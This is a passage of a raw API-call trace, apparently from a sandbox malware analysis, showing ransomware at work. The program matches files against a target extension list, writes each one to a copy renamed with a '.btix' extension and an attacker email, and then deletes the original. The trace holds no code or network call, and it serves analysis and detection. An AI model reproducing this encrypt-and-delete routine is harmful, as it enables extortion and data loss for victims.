(lpString=".rar") returned 4 [0156.598] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0156.598] lstrlenW (lpString=".bz2") returned 4 [0156.598] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0156.598] lstrlenW (lpString=".7z") returned 3 [0156.598] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0156.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0156.599] lstrlenW (lpString=".dbf") returned 4 [0156.599] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0156.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0156.599] lstrlenW (lpString=".1cd") returned 4 [0156.599] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0156.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68 [0156.599] lstrlenW (lpString=".jpg") returned 4 [0156.599] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0156.600] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.600] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0156.601] GetLastError () returned 0x0 [0156.601] ReadFile (in: hFile=0x364, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x7d6e, lpOverlapped=0x0) returned 1 [0156.659] WriteFile (in: hFile=0x39c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x7d70, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x7d70, lpOverlapped=0x0) returned 1 [0156.661] ReadFile (in: hFile=0x364, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.661] WriteFile (in: hFile=0x39c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.661] SetEndOfFile (hFile=0x39c) returned 1 [0156.661] CloseHandle (hObject=0x39c) returned 1 [0156.661] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.661] SetEndOfFile (hFile=0x364) returned 1 [0156.662] CloseHandle (hObject=0x364) returned 1 [0156.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg")) returned 1 [0156.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0156.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0156.667] lstrlenW (lpString=".doc") returned 4 [0156.667] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0156.667] lstrlenW (lpString=".docx") returned 5 [0156.667] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0156.667] lstrlenW (lpString=".pdf") returned 4 [0156.667] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0156.667] lstrlenW (lpString=".xls") returned 4 [0156.667] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0156.668] lstrlenW (lpString=".xlsx") returned 5 [0156.668] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0156.668] lstrlenW (lpString=".ppt") returned 4 [0156.668] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0156.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0156.668] lstrlenW (lpString=".zip") returned 4 [0156.668] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0156.668] lstrlenW (lpString=".rar") returned 4 [0156.668] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0156.668] lstrlenW (lpString=".bz2") returned 4 [0156.668] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0156.668] lstrlenW (lpString=".7z") returned 3 [0156.668] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0156.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0156.668] lstrlenW (lpString=".dbf") returned 4 [0156.668] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0156.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0156.668] lstrlenW (lpString=".1cd") returned 4 [0156.668] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0156.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0156.668] lstrlenW (lpString=".jpg") returned 4 [0156.668] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0156.674] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.674] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0156.718] GetLastError () returned 0x0 [0156.718] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x5f48, lpOverlapped=0x0) returned 1 [0156.721] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x5f50, lpOverlapped=0x0) returned 1 [0156.723] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.723] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.723] SetEndOfFile (hFile=0x348) returned 1 [0156.730] CloseHandle (hObject=0x348) returned 1 [0156.735] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.735] SetEndOfFile (hFile=0x358) returned 1 [0156.736] CloseHandle (hObject=0x358) returned 1 [0156.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf")) returned 1 [0156.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0156.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0156.738] lstrlenW (lpString=".doc") returned 4 [0156.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.738] lstrlenW (lpString=".docx") returned 5 [0156.738] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.738] lstrlenW (lpString=".pdf") returned 4 [0156.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.738] lstrlenW (lpString=".xls") returned 4 [0156.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.738] lstrlenW (lpString=".xlsx") returned 5 [0156.738] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.738] lstrlenW (lpString=".ppt") returned 4 [0156.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0156.738] lstrlenW (lpString=".zip") returned 4 [0156.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.738] lstrlenW (lpString=".rar") returned 4 [0156.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.738] lstrlenW (lpString=".bz2") returned 4 [0156.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.738] lstrlenW (lpString=".7z") returned 3 [0156.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0156.738] lstrlenW (lpString=".dbf") returned 4 [0156.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0156.739] lstrlenW (lpString=".1cd") returned 4 [0156.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0156.739] lstrlenW (lpString=".jpg") returned 4 [0156.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.741] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.741] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0156.749] GetLastError () returned 0x0 [0156.749] ReadFile (in: hFile=0x37c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x5f6e, lpOverlapped=0x0) returned 1 [0156.755] WriteFile (in: hFile=0x358, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x5f70, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x5f70, lpOverlapped=0x0) returned 1 [0156.756] ReadFile (in: hFile=0x37c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.757] WriteFile (in: hFile=0x358, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.757] SetEndOfFile (hFile=0x358) returned 1 [0156.761] CloseHandle (hObject=0x358) returned 1 [0156.761] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.761] SetEndOfFile (hFile=0x37c) returned 1 [0156.762] CloseHandle (hObject=0x37c) returned 1 [0156.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf")) returned 1 [0156.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0156.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0156.764] lstrlenW (lpString=".doc") returned 4 [0156.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.764] lstrlenW (lpString=".docx") returned 5 [0156.764] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.764] lstrlenW (lpString=".pdf") returned 4 [0156.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.764] lstrlenW (lpString=".xls") returned 4 [0156.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.764] lstrlenW (lpString=".xlsx") returned 5 [0156.764] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.764] lstrlenW (lpString=".ppt") returned 4 [0156.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0156.764] lstrlenW (lpString=".zip") returned 4 [0156.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.764] lstrlenW (lpString=".rar") returned 4 [0156.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.764] lstrlenW (lpString=".bz2") returned 4 [0156.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.764] lstrlenW (lpString=".7z") returned 3 [0156.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0156.764] lstrlenW (lpString=".dbf") returned 4 [0156.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0156.765] lstrlenW (lpString=".1cd") returned 4 [0156.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0156.765] lstrlenW (lpString=".jpg") returned 4 [0156.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.766] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.767] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0156.769] GetLastError () returned 0x0 [0156.769] ReadFile (in: hFile=0x33c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x4e46, lpOverlapped=0x0) returned 1 [0156.780] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x4e50, lpOverlapped=0x0) returned 1 [0156.781] ReadFile (in: hFile=0x33c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.781] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.781] SetEndOfFile (hFile=0x348) returned 1 [0156.781] CloseHandle (hObject=0x348) returned 1 [0156.781] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.781] SetEndOfFile (hFile=0x33c) returned 1 [0156.782] CloseHandle (hObject=0x33c) returned 1 [0156.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf")) returned 1 [0156.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0156.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0156.783] lstrlenW (lpString=".doc") returned 4 [0156.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.783] lstrlenW (lpString=".docx") returned 5 [0156.783] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0156.783] lstrlenW (lpString=".pdf") returned 4 [0156.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.783] lstrlenW (lpString=".xls") returned 4 [0156.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.783] lstrlenW (lpString=".xlsx") returned 5 [0156.783] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0156.783] lstrlenW (lpString=".ppt") returned 4 [0156.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0156.783] lstrlenW (lpString=".zip") returned 4 [0156.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.783] lstrlenW (lpString=".rar") returned 4 [0156.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.783] lstrlenW (lpString=".bz2") returned 4 [0156.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.783] lstrlenW (lpString=".7z") returned 3 [0156.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0156.784] lstrlenW (lpString=".dbf") returned 4 [0156.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0156.784] lstrlenW (lpString=".1cd") returned 4 [0156.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0156.784] lstrlenW (lpString=".jpg") returned 4 [0156.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.784] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.784] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0156.785] GetLastError () returned 0x0 [0156.785] ReadFile (in: hFile=0x33c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x62e0, lpOverlapped=0x0) returned 1 [0156.796] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x62f0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x62f0, lpOverlapped=0x0) returned 1 [0156.797] ReadFile (in: hFile=0x33c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.797] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.797] SetEndOfFile (hFile=0x348) returned 1 [0156.800] CloseHandle (hObject=0x348) returned 1 [0156.800] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.800] SetEndOfFile (hFile=0x33c) returned 1 [0156.814] CloseHandle (hObject=0x33c) returned 1 [0156.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf")) returned 1 [0156.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0156.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0156.820] lstrlenW (lpString=".doc") returned 4 [0156.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.820] lstrlenW (lpString=".docx") returned 5 [0156.820] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.820] lstrlenW (lpString=".pdf") returned 4 [0156.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.820] lstrlenW (lpString=".xls") returned 4 [0156.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.820] lstrlenW (lpString=".xlsx") returned 5 [0156.820] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.820] lstrlenW (lpString=".ppt") returned 4 [0156.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0156.820] lstrlenW (lpString=".zip") returned 4 [0156.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.820] lstrlenW (lpString=".rar") returned 4 [0156.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.820] lstrlenW (lpString=".bz2") returned 4 [0156.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.820] lstrlenW (lpString=".7z") returned 3 [0156.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0156.820] lstrlenW (lpString=".dbf") returned 4 [0156.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0156.820] lstrlenW (lpString=".1cd") returned 4 [0156.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0156.820] lstrlenW (lpString=".jpg") returned 4 [0156.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.834] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.834] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0156.849] GetLastError () returned 0x0 [0156.849] ReadFile (in: hFile=0x374, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x650c, lpOverlapped=0x0) returned 1 [0156.866] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x6510, lpNumberOfBytesWritten=0x269fc94, 